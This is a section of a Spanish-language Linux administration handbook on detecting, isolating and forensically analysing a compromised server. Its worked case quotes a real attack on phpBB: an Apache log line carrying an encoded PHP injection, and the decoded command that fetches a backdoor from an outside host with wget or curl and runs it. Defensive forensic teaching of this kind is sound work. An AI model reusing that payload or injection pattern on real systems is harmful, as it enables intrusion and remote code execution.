14.7. Tratamiento de una máquina comprometida
A pesar de las mejores intenciones y sin importar cuán cuidadosamente diseñe la política de seguridad, un administrador eventualmente se enfrentará a un secuestro. Esta sección provee algunas directrices sobre cómo reaccionar frente a estas circunstancias desafortunadas.
14.7.1. Detección y visualización de la intrusión
El primer paso de la reacción frente a una intrusión es estar al tanto de la misma. Esto no es siempre obvio, especialmente sin una infraestructura de monitorización adecuada.
A veces no se detectan los actos de intrusión hasta que tienen consecuencias directas en los servicios legítimos albergados en la máquina, como lentitud en las conexiones, algunos usuarios no se pueden conectar o cualquier otro tipo de funcionamiento defectuoso. El administrador que se enfrenta a estos problemas debe revisar cuidadosamente la máquina y escrutar en detalle aquello que no funciona como corresponde. Generalmente este es el momento en el que descubren un proceso inusual, por ejemplo, uno llamado apache en lugar del estándar /usr/sbin/apache2. Si seguimos con dicho ejemplo, debemos anotar el identificador de proceso y revisar /proc/pid/exe para ver qué programa está ejecutando dicho proceso:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
¿Un programa instalado en /var/tmp/ que ejecuta como el servidor web? Sin duda la máquina está comprometida.
Este sólo es un ejemplo, pero muchas otras pistas pueden encender la lámpara del administrador:
un comando que de repente muestra errores como fallas de segmentación;
un programa que utiliza todos los núcleos de CPU o memoria;
una opción a un programa que ya no funciona; la versión del software que el programa dice ser no coincide con la versión que se supone está instalada según dpkg;
un prompt de órdenes o mensaje de sesión que indica que la última conexión provino de un servidor desconocido en otro continente;
errores causados porque la partición /tmp/ está llena, resultado de múltiples copias ilegales de películas;
etc.
14.7.2. Desconexión del servidor
En prácticamente todos los casos, la intrusión proviene de la red y el atacante necesita una red funcional para alcanzar sus objetivos (acceder a datos confidenciales, compartir archivos ilegales, esconder su identidad utilizando la máquina como restransmisor, etc.). Desconectar el equipo de la red evitará que el atacante logre estos objetivos si es que no los alcanzó para ese momento.
Esto solo puede ser posible si el servidor es físicamente accesible. Cuando el servidor está alojado en el centro de datos de un proveedor de alojamiento en la mitad del país, o si el servidor no es accesible por cualquier otro motivo, generalmente es una buena idea comenzar por recopilar información importante (ver
Sección 14.7.3, “Preservación de todo lo que pueda utilizar como evidencia”,
Sección 14.7.5, “Análisis forense” y
Sección 14.7.6, “Reconstrucción del escenario de ataque”), luego aislar ese servidor tanto como sea posible cerrando tantos servicios como sea posible (generalmente, todo menos
sshd). Este caso sigue siendo incómodo, ya que no se puede descartar la posibilidad de que el atacante tenga acceso SSH como el administrador; esto dificulta la "limpieza" de las máquinas. Si es posible, y si el proveedor lo admite, se puede desconectar el servidor y acceder a él a través de la interfaz KVM/IPMI del proveedor o su consola de rescate. Si la máquina afectada es una máquina virtual, se debe tomar una instantánea de inmediato para asegurar la evidencia.
14.7.3. Preservación de todo lo que pueda utilizar como evidencia
Entender el ataque y/o establecer una acción legal en contra del atacante requerirá copias de todos los elementos importantes; esto incluye el contenido de los discos, una lista de todos los procesos en ejecución y las conexiones establecidas. Incluso podría utilizar el contenido de la RAM pero, rara vez se lo utiliza realmente.
En el ápice de la acción, los administradores generalmente están tentados de realizar muchas verificaciones en la máquina comprometida; generalmente esto no es una buena idea. Potencialmente, todo programa está comprometido y puede borrar porciones de la evidencia. Debería restringir las verificaciones a un conjunto mínimo (netstat -tupan para conexiones de red, ps auxf para una lista de procesos, ls -alr /proc/[0-9]* para un poco más de información sobre los programas en ejecución), y debe anotar cuidadosamente cada verificación que realice.
Una vez guardados los elementos "dinámicos", el siguiente paso es almacenar una imagen completa del disco duro. Crear una imagen de este tipo es imposible si el sistema de archivos aún está evolucionando, por lo que debe volver a montarse en modo de solo lectura. La solución más simple suele ser detener el servidor brutalmente (después de ejecutar sync) y reiniciarlo en un CD de rescate. Cada partición debe copiarse con una herramienta como dd; estas imágenes pueden enviarse a otro servidor (posiblemente con la muy conveniente herramientanc). Otra posibilidad puede ser aún más simple: simplemente sacar el disco de la máquina y reemplazarlo por uno nuevo que pueda reformatearse y reinstalarse. La mayoría de los proveedores de servidores ofrecen la llamada consola de rescate que esencialmente proporciona la misma funcionalidad que un CD de rescate.
No debería volver a poner en línea al servidor sin reinstalarlo completamente. Si el compromiso fue serio (obtuvieron permisos de administrador), prácticamente no existe otra forma de estar seguro que se ha eliminado todo lo que el atacante podría haber dejado (puertas traseras — «backdoors» — en particular). Por supuesto, también debe aplicar todas las últimas actualizaciones de seguridad para solucionar la vulnerabilidad que utilizó el atacante. Idealmente, el análisis del ataque debería indicarle dicho vector de ataque para que pueda estar seguro de solucionarlo; de lo contrario, sólo puede confiar que alguna de las actualizaciones hay corregido la vulnerabilidad.
Reinstalar un servidor remoto no siempre es fácil; puede implicar asistencia de la empresa de alojamiento, porque no todas esas empresas proporcionan sistemas de reinstalación automatizados o consolas remotas (aunque estos casos deberían ser raros). Se debe tener cuidado de no reinstalar la máquina a partir de copias de seguridad realizadas después del compromiso. Idealmente, solo se deben restaurar los datos, el software real debe reinstalarse desde el medio de instalación.
Ahora que restauró el servicio, es momento de revisar más cuidadosamente las imágenes de disco del sistema comprometido para poder entender el vector de ataque. Cuando monte estas imágenes debe asegurarse de utilizar las opciones ro,nodev,noexec,noatime para evitar modificar sus contenidos (incluyendo las marcas temporales de acceso de los archivos) o ejecutar por error los programas comprometidos.
Seguir las huellas de un escenario de ataque generalmente involucra buscar todo lo que se modificó o ejecutó:
usualmente es interesante leer los archivos .bash_history;
al igual que enumerar los archivos que fueron creados, modificados o accedidos recientemente;
el programa strings ayuda a identificar los programas instalados por el atacante, extrayendo las cadenas de texto de un binario;
los archivos de registro en /var/log/ usualmente permiten reconstruir una cronología de los eventos;
comparar el sistema con la última copia de seguridad no comprometida conocida puede revelar rápidamente los cambios dejados por el atacante, por ejemplo, archivos agregados, modificados o eliminados;
herramientas específicas también permiten restaurar el contenido de archivos potencialmente borrados, incluyendo los archivos de registro que generalmente borran los atacantes.
Some of these operations can be made easier with specialized software. In particular, the
sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the
Autopsy Forensic Browser graphical interface (in the
autopsy package). Some Linux distributions have a “live install” image and contain many programs for forensic analysis, such as Kali Linux (see
Sección A.8, “Kali Linux”), with its
forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see
Sección A.6, “Grml”).
14.7.6. Reconstrucción del escenario de ataque
Todos los elementos recolectados durante el análisis deberían encajar como piezas de un rompecabezas; usualmente hay una correlación entre la creación de los primeros archivos sospechosos con los registros que muestran la intrusión. Un ejemplo real debería ser más explícito que largos desvaríos teóricos.
El siguiente registro es un extracto de un archivo access.log de Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Este ejemplo coincide con el aprovechamiento de una antigua vulnerabilidad de phpBB.
Decodificar esta URL lleva a entender que el atacante logró ejecutar un código PHP, en particular: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). En efecto, encontramos un archivo bd en /tmp/. La ejecución de strings /mnt/tmp/bd devuelve, entre otras cadenas, PsychoPhobia Backdoor is starting.... Esto realmente parece una puerta trasera.
Un tiempo después, se utilizó este acceso para descargar, instalar y ejecutar un bot IRC que se conectó a una red IRC clandestina. Luego se podía controlar el bot mediante este protocolo y ordenarle descargar archivos para compartir. Este programa inclusive tiene su propio archivo de registro:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Estas trazas muestran que se almacenaron dos archivos de video en el servidor desde la dirección IP 82.50.72.202.
En paralelo, el atacante también descargo un par de archivos adicionales, /tmp/pt y /tmp/loginx. Ejecutar strings en estos archivos nos provee cadenas como Shellcode placed at 0x%08lx («código de consola ubicado en 0x%08lx») y Now wait for suid shell... («esperando consola suid...»). Estos parecen programas que aprovechan vulnerabilidades locales para obtener privilegios de administrador. ¿Consiguieron su objetivo? En este caso, probablemente no, ya que no parecen existir archivos modificados luego de la intrusión original.
En este ejemplo, se reconstruyó la intrusión completa y podemos deducir que el atacante pudo aprovechar el sistema comprometido por alrededor de tres días; pero el elemento más importante del análisis es que se identificó la vulnerabilidad y el administrador puede asegurarse que la nueva instalación realmente soluciona la vulnerabilidad.
